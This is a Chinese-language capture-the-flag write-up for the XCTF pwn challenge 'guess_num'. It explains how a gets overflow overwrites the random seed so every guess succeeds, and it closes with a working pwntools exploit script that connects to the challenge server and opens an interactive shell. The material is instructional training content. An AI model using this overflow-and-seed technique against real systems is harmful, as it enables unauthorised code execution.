xctf-guess_num
题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5057&page=1
checksec文件:
开启了carry,不能进行栈溢出
用ida打开:
功能很简单,先输入你的name,进行十次输入,进行比较rand number,成功则调用sub_C3E(),也就是system函数
只需要控制随机数种子,就可以使输出可控。这里可以通过gets函数的输入覆盖种子seed
rand函数和srand函数相关知识:https://blog.csdn.net/qq_41199502/article/details/80726780
可以看到:var30和seed相差20
通过ldd查找libc共享库, 这里python需要用到c语言的标准动态库(https://www.cnblogs.com/yssjun/p/9960479.html)
可以构造exp:
from pwn import * from ctypes import * context.log_level = 'debug' #cnn = process('./guess_num') cnn = remote("111.198.29.45","51398") elf = ELF('./guess_num') # libc = elf.libc libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") payload = 0x20*'a' + p64(1) cnn.recvuntil('name:') cnn.sendline(payload) libc.srand(1) for i in range(10): cnn.sendlineafter('number:',str(libc.rand()%6+1)) cnn.interactive()